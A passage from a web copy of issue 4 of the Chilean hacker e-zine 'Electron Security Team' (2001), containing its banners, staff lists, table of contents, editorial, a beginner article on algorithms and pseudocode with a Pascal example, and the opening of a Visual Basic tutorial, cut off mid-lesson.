Home E-Zines Electron Electron 04

Ultimos Mensajes del Foro

Manual Aleatorio

control de accesos (PDF)
Documento pdf de 42 paginas sobre todo tipo de control de accesos y sus formas de ataque.
Leer más...
Electron 04 PDF Imprimir E-mail
Domingo, 18 de Enero de 2004 12:50
Algoritmos y Pseudolenguaje, Programacion en Visual Basic II, Herramientas Para el H4cQ, Construyendo un Cliente FTP en Visual Basic, Introduccion a la Programacion, Intromision en Linux, Sistemas de Deteccion de Intrusos N.I.D.S, Una Mirada a La Seguridad, Empresas de Seguridad, Introduccion a los sniffer's y anti-sniffers, Configuracion Segura y Optima de la red Adsl/Atm, Numeros Binarios, Compresion de Datos, Manejo Basico de Pgp Desde la Bash, Crackeelo Ud. Mismo, Aplicaciones Utiles e Inutiles del Bash, Montandose a Linux con Samba....

Texto Completo:
/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /
\**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\
/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /
****              *  *                                   *  *                 ****
\* \              \  \            .[*3] [http://www.govannom.org/e-zines/electron/electron04.txt]*EST*z$.            \  \                 \ *\
/* /              /  /           x*#"~```"!Rn·$          /  /                 / */
\* \  ELECTRON    \  \          z!~           ~@!        \  \    ELECTRON     \ *\
/* /              /  /         xZ~             `Eo       /  /                 / */
\* \  SECURITY    \  \        $? ^%$%·ç·#~~·^]ç*`$       \  \    SECURITY     \ *\
/* /              /  /        $EL"··$·$%2~$~€P*:$¸      /  /                 / */
\* \    TEAM      \  \        ?B                         \  \      TEAM       \ *\
/* /              /  /         `?2L                      /  /                 / */
\* \              \  \          `#$m.......u@#~          \  \                 \ *\
/* /              /  /             ~2#tW2W$*"`           /  /                 / */
****              *  *                                   *  *                 ****
/**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/
\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \
/                                                                                /
|     Revista Electronica Chilena de Informatica. Numero #04, 18/12/2001         |
\                                                                                \
/**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/  /**/
\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \**\  \


                                    Disclaimer.

La informacion  publicada en  Electron  Security Team tiene como unico fin educar, 
ense~ar y dar orientacion a sus lectores. Cualquier  da~o  o destruccion efectuado 
con  dicha  informacion es  responsabilidad  unica y exclusiva del  lector. No nos 
responsabilisamos de lo que nuestros lectores puedan pensar o hacer. 
Todos los  comentarios emitidos  en Electron Security Team son de  responsabilidad 
unica y exclusiva del nick que lo firme y  no  tienen porque  representar  lo  que
piensa esta e-zine. Los caracteres raros y acentos han sido eliminados para evitar 
cualquier tipo de problema con los editores de texto.




 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 [-/-                                                                         -\-]
 [-/-                      -<[( Staff Oficial )]>-                            -\-]
 [-/-                                                                         -\-]
 [-/-        E                                                       E        -\-]
 [-/-        L    (=[  EleKtr0    =[ EST ]=   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   ]=)    L        -\-]
 [-/-        E    (=[  z0rbas     =[ EST ]=    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   ]=)    E        -\-]
 [-/-        C    (=[  meth0dist  =[ EST ]= 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   ]=)    C        -\-]
 [-/-        T                                                       T        -\-]
 [-/-        R                                                       R        -\-]
 [-/-        O    (=[  Gin_sUk    =[ EST ]=   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   ]=)    O        -\-]
 [-/-        N    (=[  bankzide   =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   ]=)    N        -\-]
 [-/-                                                                         -\-]
 [-/-                           SECURITY TEAM                                 -\-]
 [-/-                                                                         -\-]
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`  
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 [-/-                                                                         -\-]
 [-/-                   -<[(   Colaboraciones   )]>-                          -\-]
 [-/-                                                                         -\-]
 [-/-        Shisei Brujo         =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
        -\-]
 [-/-        filth                =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                   -\-]
 [-/-        Kpanic               =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                   -\-]
 [-/-        Reox                 =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                -\-]
 [-/-        _5010_               =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                 -\-]
 [-/-        Toleran-C            =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  -\-]
 [-/-        Silen-C              =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  -\-]
 [-/-        carcoco              =[ EST ]=  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
             -\-]
 [-/-                                                                         -\-]
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`  
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 [-/-                                                                         -\-]
 [-/-                 -<[(  Informaciones y extras  )]>-                      -\-]
 [-/-                                                                         -\-]
 [-/-            Email Oficial = 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                                    -\-]
 [-/-        E   Sitio Oficial = www.est.cl                         E         -\-]
 [-/-        L   Canal Oficial = #electron / irc.terra.cl / 7000    L         -\-]
 [-/-        E                                                      E         -\-]
 [-/-        C   Editores      = meth0dist, EleKtr0                 C         -\-]
 [-/-        T   Electrones    = z0rbas, bankzide, Gin_sUk          T         -\-]
 [-/-        R   Electrones    = meth0dist, EleKtr0                 R         -\-]
 [-/-        O   Colaboradores = Shishei Brujo, filth, Kpanic       O         -\-]
 [-/-        N   Colaboradores = Reox, Toleran-C, Silen-C           N         -\-]
 [-/-            Colaboradores = _5010_, carcoco                              -\-]
 [-/-                                                                         -\-]
 [-/-                                                                         -\-]
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`     
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 [-/-                                                                         -\-]
 [-/-                         -<[( Saludos )]>-                               -\-]
 [-/-                                                                         -\-]
 [-/-            (=[    CDLR           =  www.cdlr.org        ]=)             -\-]
 [-/-            (=[    Systat         =  www.systat.cl       ]=)             -\-]
 [-/-            (=[    0wn3d          =  www.0wn3d.f2s.com   ]=)             -\-]
 [-/-            (=[    0ri0n          =  www.0ri0n.org       ]=)             -\-]
 [-/-            (=[    SET            =  www.set-ezine.org   ]=)             -\-]
 [-/-            (=[    Ezkracho TEAM  =  www.ezkracho.com.ar ]=)             -\-]
 [-/-            (=[    Net-X Team     =  www.net-x.f2s.com   ]=)             -\-]
 [-/-                                                                         -\-]
 [-/-                                                                         -\-]
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`    
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 [-/-                                                                         -\-]
 [-/-                    -<[( Downloads/Mirrors )]>-                          -\-]
 [-/-                                                                         -\-]
 [-/-           (=[   Zine Store     =  www.zine-store.com.ar  ]=)            -\-]
 [-/-           (=[   Van Hackez     =  www.vanhackez.com      ]=)            -\-]
 [-/-           (=[   0ri0n          =  www.0ri0n.org          ]=)            -\-]
 [-/-                                                                         -\-]
 [-/-                                                                         -\-]
 [-/-=============E L E C T R O N=====S E C U R I T Y=====T E A M=============-\-]
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`
 ¤°°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤ø¸¸,ø¤°`       


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ Indice ]=[ E-zine - N° 4 ]=========================================[ EST       ]
[ Numero ]=[ Articulo ]==============================================[ Autor     ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ ( 01 ) ]=[ Editorial...............................................[ Editor    ]
[ ( 02 ) ]=[ Algoritmos y Pseudolenguaje.............................[ Reox      ]
[ ( 03 ) ]=[ Introduccion y Programacion en Visual Basic II..........[ meth0dist ]
[ ( 04 ) ]=[ Herramientas Para el H4cQ...............................[ Shisei B. ]
[ ( 05 ) ]=[ Construyendo un Cliente FTP en Visual Basic.............[ bankzide  ]
[ ( 06 ) ]=[ Introduccion a la Programacion..........................[ Reox      ]
[ ( 07 ) ]=[ Intromision en Linux....................................[ EleKtr0   ]
[ ( 08 ) ]=[ Sistemas de Deteccion de Intrusos N.I.D.S...............[ filth     ]
[ ( 09 ) ]=[ Una Mirada a La Seguridad...............................[ bankzide  ]
[ ( 10 ) ]=[ Empresas de Seguridad...................................[ _5010_    ]
[ ( 11 ) ]=[ Introduccion a los sniffer's y anti-sniffers............[ carcoco   ]
[ ( 12 ) ]=[ Configuracion Segura y Optima de la red Adsl/Atm........[ Toleran-C ]
[ ( 13 ) ]=[ Numeros Binarios........................................[ meth0dist ]
[ ( 14 ) ]=[ Compresion de Datos.....................................[ Shisei B. ]
[ ( 15 ) ]=[ Manejo Basico de Pgp Desde la Bash......................[ EleKtr0   ]
[ ( 16 ) ]=[ Crackeelo Ud. Mismo.....................................[ meth0dist ]
[ ( 17 ) ]=[ Aplicaciones Utiles e Inutiles del Bash.................[ Reox      ]
[ ( 18 ) ]=[ Montandose a Linux con Samba............................[ Kpanic    ]
[ ( 19 ) ]=[ Avisos Varios...........................................[ EST       ]
[ ( 20 ) ]=[ UnderNews...............................................[ EST       ]
[ ( 21 ) ]=[ Llaves PGP..............................................[ EST       ]
[ ( 22 ) ]=[ Despedida y Comentario Final............................[ EST       ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



[====([ Editor ])==========================================================EST-4=]
[====([ Editorial ])=========================================================#01=]
[===============================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Padres y madres, lolos y lolas, abuelos y  abuelas, sean todos ustedes bienvenidos
a la cuarta entrega de la revista  electronica: Electron Security Team. Despues de
cerca de ocho meses hemos  regresado  y aunque esta edicion se nos  hizo dificil y 
larga, nos tomamos el tiempo para  poder sacarla adelante solo para ustedes. Desde 
la tercera edicion   hasta  ahora han  sucedido  muchisimas cosas aca en Chile, ya
sea por la  organizacion de la Hack It!, como tambien  porque  han  surgido varios
grupos nuevos. Me refiero  a  Systat  Seguridad  y  a  Net-x   a  los  cuales  les
espero que se mantegan vigentes aca en Chile  y  les  mandamos un saludo para  que
continuen trabajando y sigan adelante con sus proyectos.

Despues de todo, nos  costo bastante  sacar este numero. Hubo  un  momento  en que
pensamos en terminar  con la revista, pero  nos  dimos los animos para poder sacar
adelante esta cuarta entrega, con el  mejor material que pudimos crear y junto con 
algunas  colaboraciones. Como  han  podido apreciar, despues  de algunos problemas 
con www.electron-team.cl, ahora  tenemos dominio nuevo: www.est.cl. La pagina esta
dise~ada en php-nuke, siendo  uno  de  los  pocos  sitios que usan esa  tecnologia
aca en Chile. Nos  decidimos por Php-Nuke, ya que da un dise~o activo a  la pagina
y los usuarios  pueden  interactuar  mas  con ella, ya  sea  con  noticias, siendo 
miembros  o  participando  en  las  encuestas  etc. Como  tambien   habran  notado
el antiguo editor (EleKtr0), se anduvo dedicando al  estudio (asi se llama ahora),
y me ha tocado a mi (meth0dist), darles la  cara para recibirlos. En  esta edicion
tenemos de todo un poco: programacion, linux, seguridad etc. Todo el  material que
reunimos, tratamos de que fuera los mas entretenido e interesante posible, para el
deleite de todos ustedes.

En lo que  respecta a  los  integrantes de  Electron han  habido ciertos  cambios.
Tenemos un nuevo  integrante, conocido  como  Gin_sUk, al cual espero que siga con
nosotros por mucho tiempo. Tambien hemos sufrido  unos cambios por  la ida de Reox
y de Kraptor que no tienen  relevancia ya que seguimos  en contacto, pero  en fin,
donde sea que esten les deseamos lo mejor y mucha suerte,  recuerden  siempre  que 
fueron miembros de EST ahora lo importante es que estamos todos reunidos y  listos
para  seguir adelante con el grupo, la e-zine y la web que nos mueve a todos.

Con respecto a la Hack It!, este es un evento que  se va a realizar aca en Chile y
que va a tratar temas acerca de  tecnologias nuevas e informatica en  especial. Se
supone que se realizara en el  verano  del 2002, por lo  que  cada vez falta menos
tiempo. En nuestro  sitio, hemos  hecho foros  para la discusion de  este  evento, 
acerca de  como  debe  financiarse, y sobre que temas les  gustaria a la gente que
tratara. Tambien el dise~o  de el sitio oficial de la Hack It! se esta  haciendo y
tambien se puede  obtener  informacion  sobre  ella  en  sitios como www.cdlr.org,
www.0wn3d.f2s.com, www.350cc.com y el nuestro www.est.cl. Esperemos que todo salga
bien y podamos disfrutar de este gran evento en el verano que sera la  primera CON
de nuestro pais.

Por ultimo queria invitarlos  a colaborar mandando  noticias y articulos a nuestro
sitio web, al igual  que  para  la proxima  edicion  de  Electron  Security  Team.
Tambien me gustaria dar la gracias a todos los colaboradores de esta  edicion y en
especial a toda la gente que nos ha apoyado.

Esperamos  contar con  su  ayuda y  su  apoyo  para  seguir  adelante dia  a  dia. 
Cualquier duda o consulta:   
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   es nuestro mail o  a  los mail  de  cada
miembro.

Saludos
Electron Security Team


[=========================([ Electron Security Team ])===========================]



[====([ Reox ])============================================================EST-4=]
[====([ Algoritmos y Pseudolenguaje ])=======================================#02=]
[=======================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


A  ver, en  este  modesto texto  tratare  explicar  muy brevemente las bases de
la  programacion, orientada a  los  lenguajes  de alto nivel. Cuando  empeze  a
programar, como  a  los 8 o 9 a~os en el  basic del ATARI 65XE, instintivamente
comenze a  comprender la logica de la  programacion, pero  tuvieron  que  pasar
muchos a~os para que pudiera entender como funcionan  realmente estos  ciclos y
sentencias, que con un poco  de ayuda son  bastante simples de vislumbrar. Esta
vez escribire de los  algoritmos y del  pseudolenguaje, en alguna  otra ocacion 
escribire de un lenguaje en particular.

I-. LOS ALGORITMOS

(1)  Introduccion:

La palabra algoritmo  viene de la  deformacion las  palabras AL-KHOWARIZM, pero 
creo que a nadie le interesa, asi que  vamos directo al grano. Algoritmo  es un 
conjunto ordenado de reglas bien definidas para la solucion  de problema en una
cantidad finita  de  pasos, y sirve  para  establecer secuencias  aplicables  a 
cualquier  lenguaje  o   datos. Al  final  de  cuentas  es  una  securencia  de 
intrucciones, asi como una formula para lograr un objetivo.  Ej:

	Algoritmo para hacer una "Sopa para Uno"
	
	Paso 1º : Saque una taza y una "sopa para uno" (Obvio)
	Paso 2º : Saque la tetera (Bueno si te incorporaste al presente 
                  tendras microondas)
	Paso 3º : Llene la tetera con 350cc (Ejem... eso me suena a fye)
                  de agua
	Paso 4º : Prenda el quemador (ALERTA: por favor hagalo con la
                  supervicion de un adulto )
	Paso 5º : Hierva el agua ( hasta que llegue a los 100º C)
	Paso 6º : Vierta el contenido del sobre dentro de la taza 
                  (a gusto)
	Paso 7º : Vierta el agua hirviendo dentro de la taza
                  (sin quemarse!!!!)
	Paso 8º : Deje enfriar unos minutos (si no hace este paso va a
                  ocurrir un error extendido)
 
En  este  ejemplo  tenemos  ciertos  pasos, pero no  todos, ya que el  resto se 
asumen, por ejemplo abrir el sobre o limpiar la taza. El algoritmo es aplicable 
pa cualquier tipo  de  casa, version  de  Taza, he  incluso es  adaptable  para 
microondas. Un algoritmo informatizado, se puede aplicar a  cualquier lenguaje, 
y por ende a cualquier  sistema. Es solo una representacion de como tienen  que
realizarse las cosas para que funken. Es por eso que se pueden saltarse ciertos
pasos que el programador tendra que realizar en su programa.

(2)  Las principales caracteristicas de un Algoritmo

(a) La Efectividad:  El  algoritmo  siempre  entregara el resultado  deseado y 
    definitivo
(b) La Finitud : El algoritmo siempre tendra un comienzo y un fin 
(c) La Generalidad: El algoritmo siempre tendra la generalidad nescesaria para 
    ser utilizado en diferentes variaciones del problema

Con el  ejemplo  anterior  podemos  explicar  estas  caracteristicas. Si  haces 
los pasos correctamente vas a tener una sopa para uno rica y  deliciosa, por lo 
tanto es efectivo. El algoritmo  comienza sacando  una taza, y termina  dejando 
enfriar la sopa unos minutos, por lo que tiene 8 pasos, esto es  finitud. Y por
ultimo, este  algoritmo  sirve  para  cualquier  tipo  de taza, para  cualquier 
tetera, y para cualquier sopa para uno, por lo tanto es general.

(3) Ejemplos.

* Los algoritmos, generalmente  representados  por  diagramas de flujo, los mas 
  simples son los los bidecisionales, es decir de verdadero  o  falso, si o no,
  negro o blanco, etc.

EJ.1

1) Comienzo 
2) Hay semaforo? (si = 3; no = 6) 
3) Mirar semaforo 
4) Esta rojo? (si = 5; no =9 )
5) Esperar (volver a 4)
6) Mirar izquierda y derecha 
7) Viene algun auto? (si = 8; no = 9)
8) Esperar (volver a 7)
9) Cruzar


* El ciclo "mientras" tambien  es  muy  importante, y  de este  se desprende el
  famoso ciclo "FOR". Este consiste en repetir  una misma sentencia  hasta  que
  cambie la condicion de inicio.

EJ.2

1) Comienzo 
2) El dia esta soleado o nublado? 
3) Mientras: el dia este soleado
(verdadero = 4 ; Falso = 9) 
4) Ir a la playa 
5) Salir a caminar 
6) Volver a dormir 
7) Daspertarse 
8) Mirar por la ventana (volver a 3) 
9) Preparar sopaipillas

* Deduccion del proceso FOR (bucle)

Este  proceso  consiste en  repetir un proceso  N  veces, es  decir  una  cifra
determinada y ajena a cambios externos.

1) Comienzo 
2) Definicion variable X 
3) Definicion de la constante N 
4) Mientras: AUX distinto de N (verdadero = 5; falso = 8) 
5) Proceso a realizar 
6) X = X (sentido (+ o -) y salto) 
7) Volver a 3 
8) Fin

La sintaxis del proceso FOR, Incluye un valor de la constante N, un primer
valor para X (X1), el sentido y el salto

FOR X : 1 TO 10: step = 2
        | | | |
       X1 | N salto
         Direccion (+)

1) Comienzo 
2) N = 10 
3) X = 1 
4) Mientras: AUX distinto de N (verdadero = 5; falso = 8) 
5) Proceso a realizar 
6) X = X + 2 
7) Volver a 3 
8) Fin

* Por ultimo, el otro algoritmo fundamental de conocer es el
Multidecisional, 
EJ3:
1) Comienzo 
2) Que se desea tomar? 
3) Comienzo de los casos 
4) En el caso de "piscola": consecuencia "Hachazo"
5) En el caso de "cerveza": consecuencia "Enguatao"
6) En el caso de "chicha" : consecuencia "Witre" 
7) En el caso de "Wisky"  : consecuencia "pato" 
8) Fin de los casos
9) FIN


(4) En conclusion....
Podemos   decir   que   estos   tres   ciclos   algoritmicos, representados por 
las  sentencias "si o  no", "mientras" y "en el  caso de",  son la base  de los 
lenguajes de programacion de alto nivel, como pascal, C o basic, ya que gracias 
a estos se realizan  la  estructura y  logica de un  programa, y por  ende toda 
secuencia de instrucciones. Es importante saber  no solo para que  sirven, sino
que como funcionan, ya  que constituyen  parte fundamental de la  logica  de un 
programador y en consecuencia el optimo uso de estos. Siempre hay  que tener en 
cuenta  que   el  lenguaje  maquina, y  los  ensambladores  no  incluyen  estas 
sentencias de la  forma representada en los lenguajes de alto nivel  por lo que 
es otra razon para conocer su funcionamiento y forma.


II-. EL PSEUDOLENGUAJE

Este  amiguito  es  una  de  las   herramientas  mas utiles  de un programador, 
y mas aun si no es gringo. Consiste  en realizar un  posible codigo de programa 
en un  lenguaje  nativo, de  facil  entendimiento y  de  rapido  desarrollo que 
permite vislumbrar posibles errores, conflictos o complicaciones de la solucion
programada  de   un  algoritmo. Permite  ademas  la  claridad  de  la  solucion 
programada y minimizar los errores del codigo. Podriamos  comparar la  tarea de 
un programador con la de un arquitecto: Dise~a un plano, desarrolla una maqueta 
y construlle. El programador realiza un algoritmo o  diagrama de flujo, realiza
el codigo en pseudolenguaje y por ultimo  trabaja en el lenguaje.  Las ventajas
de este Pseudolenguaje van a tal punto que es ideal para trabajos  en  grupo, o
proyectos compartidos, ya que aunque  todos conozcan Lenguajes diferentes,todos 
entenderan el pseudo(asi  le  digo  por  cari~o)  y podran  trabajar  luego  de 
planificado el codigo en sus respectivos lenguajes. A continuacion  mostrare un
simple programa en pascal y luego el pseudo del mismo codigo.

-------------PASCAL-------------- 
Program Ejemplo4;

Var
 Edad: integer;
 Nombre: string;

Begin
 Write('Cual es su nombre');
 Read(Nombre);
 Write('Cual es su edad');
 Read(Edad);
 If edad < 18 then
   Begin
     Write('lo siento ',Nombre,', eres muy joven para entrar');
   End
 Else
   Begin
    Write('Ok ',Nombre,', tienes la edad adecuada');
   End;
End.

-----------FIN PASCAL------------

Este  programa solo preguntara nombre, edad  y  te dira si eres  mayor  de edad
si o  no, ahora  miren  como cambia  la comprension dl lector del  programa con
el Psudo.

--------------PSEUDO------------

Nombre Del Programa = Ejemplo1;

Definicion de variables:
'Edad' es de tipo ENTERO 
'Nombre" es de tipo TEXTO

Comienzo del Programa

Escribir "Cual es su nombre" Leer en 'Nombre' 
Escribir "Cual es su edad"
Leer en 'edad'
 Si 'edad' es < 18 entonces
   Comienzo del ciclo 'Si'
    Escribir "lo siento (Nombre) eres muy joven para entrar"
   Fin del ciclo 'Si'
 En otro caso
   Comienzo del ciclo 'en otro caso'
    Escribir "Ok (Nombre), tienes la edad adecuada"
   Fin del ciclo 'en otro caso'
Fin del programa

---------------FIN PSEUDO---------------

Cabe destacar que Pascal, es el lenguaje mas  parecido al Pseudo, ya  que todas 
sus instrucciones estan en ingles y claramente expuestas, no asi  con  Fortran, 
Cobol, o C, los cuales traen muchas  abreviaciones  y  siglas, que  simplifican 
el trabajo del experto, pero  lentifican el aprendizaje logico  de los newbies.

En el  pseudolenguaje los  ciclos  basicos de  representan  comunmente  por una
palabra en el idioma utilizado, por ejemplo el "si y  no" de los algoritmos, en 
pseudo se denomina "si"  o "if"; el "mientras" de  los algoritmos es  aplicable 
perfectamente y se denomina igualemente, o con si  variante  gringa "while"; el 
ciclo FOR, se denomina "para" o en  gringolandia FOR tb. El "en  caso de" o "in
case  of"  cambia  rotundamente  en cada  lenguaje  por  lo  que no es de mucha 
importancia declarar en el pseudo una sentencia definida que pueda  confundir a
otros programadores.

III-. SOBRE PROGAMAR

Si nunca has programado, es muy importante que antes de  conocer la sintaxis de
un lenguaje te informes de los conceptos claves y los  domines a la perfeccion.
Tienes que aprender de conceptos de variables, pantalla, un poco de  Operadores 
Logicos y por que no estructura de datos, archivos y ficheros. A pesar de todo, 
el programar es un arte, la logica  no siempre se  aprende sino  que a veces se 
nace con ella. Los grandes genios  no  se hacen, sino  que  nacen, por lo que a 
veces el mas inculto ni~o que  programa en Basic, sea  mas logico y  mas genial
que el mas grande  programador de  NASA. A veces uno  esta  inspirado, y  otras 
veces confuso y agobiado, es  por eso  que personalmente  me tomo el  programar 
como un arte, es decir hacerlo con cari~o  aunque  parezca  ridiculo, intentelo
les hara mas apacible el trabajo

Bueno me fui en la vola en el ultimo parrafo pero de eso se trata estos ezines,
no solo aspectos tecnicos, sino me compraria un libro :) ...Bueno me despido..
a ver si me mandan  algun  E-milio (shhhiiaaaa) pa  que me  den ideas  de  que
escribir.


[=========================([ Electron Security Team ])===========================]




[====([ meth0dist ])=======================================================EST-4=]
[====([ Introduccion y Programacion en Visual Basic II ])====================#03=]
[=========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Hola a todos. Aca estoy, esta vez con la continuacion  del curso  de  Visual Basic
que el bankzide habia comenzado en EST 2. Vamos a comenzar repasando un poco lo ke
vimos anteriormente y luego vamos a ver unas cosillas nuevas, como agregar musica,
imagenes, controles, la hora etc. No les sigo  dando la lata, asi que vamos a  ver
de que se trata todo esto.  
Este articulo lo voy a dividir en tres partes, asi que vamos con la primera parte.

1. Uso de botones, msgboxs y otros.

Partamos  con   el  uso   de   los   botones,  msgboxs,  textboxs   e  inputboxes.
Primero ejecuta el visual basic  y pon crear  un nuevo "Exe Standar". Vas a ver el
"form" en el que comenzaras trabajando. Crea  un boton (la barra a  mano izquierda
tiene los botones, textbox, msgbox etc.). Ahora hazle doble click e inmediatamente
ingresaras al codigo de este. Veamos:

Private Sub Command1_Click()  
 
End Sub

Como se ha podido apreciar, el codigo  del programa se escribe  entre "Private Sub
Command1_Click()" y "End Sub". "Command1_Click" es el nombre del boton, al cual le
puedes cambiar el nombre. Si queremos que cuando se  le  haga click  al boton, nos 
salga un msgbox diciendo "Hola", entonces el codigo deberia ser como el siguiente.

Private Sub Command1_Click()
MsgBox "Hola"
End Sub

Ahora ejecuta el programa y  haz click en  el boton, obteniendo como  resultado un 
msgbox diciendote "Hola". Recuerda que lo que quieras que salga, debe  estar entre
comillas. Ahora, si  quieres que  el msgbox salga con un beep  o con  un  signo de
informacion se pone lo siguiente en el codigo del boton.

Private Sub Command1_Click()
MsgBox "Hola", vbInformation
End Sub

Al hacer click en el boton una vez ejecutado el programa te saldra con un "beep" y 
con un icono de exclamacion.

Ahora vamos con algo un pokito mas avanzado que lo anterior. Creemos un textbox en
el form quese  llamara  "Text1". En las  propiedades  del  text1 (a mano derecha), 
ponle  nada  en  el text o haz  doble  click  en el form y  escribe lo  siguiente:

Private Sub Form_Load()
Text1.Text = ""
End Sub

Ahora en el codigo del boton escribamos lo siguiente:

Private Sub Command1_Click()
Dim a As String
a = Text1.Text
MsgBox a
End Sub

Ahora dale, y al escribir algo en el  textbox y apretar el  boton te saldra lo que
escribiste en el textbox. Inutil, pero sirve de ejemplo. Repasemos el  codigo. Los
comentarios van entre despues del '.

Private Sub Command1_Click()
Dim a As String 'Definimos la variable "a" como string
a = Text1.Text  'Ponemos que lo que esta escrito en el textbox sea igual a "a"
MsgBox a, vbInformation 'El messagebox nos muestra lo k vale a con un beep
End Sub         'termino

Con respecto al "Private Sub Form_Load()", este  hace  lo que uno  le  indique  al 
cargarse el programa.
Veamos los inputbox ahora. En un nuevo proyecto crea un boton, y un textbox. Ahora 
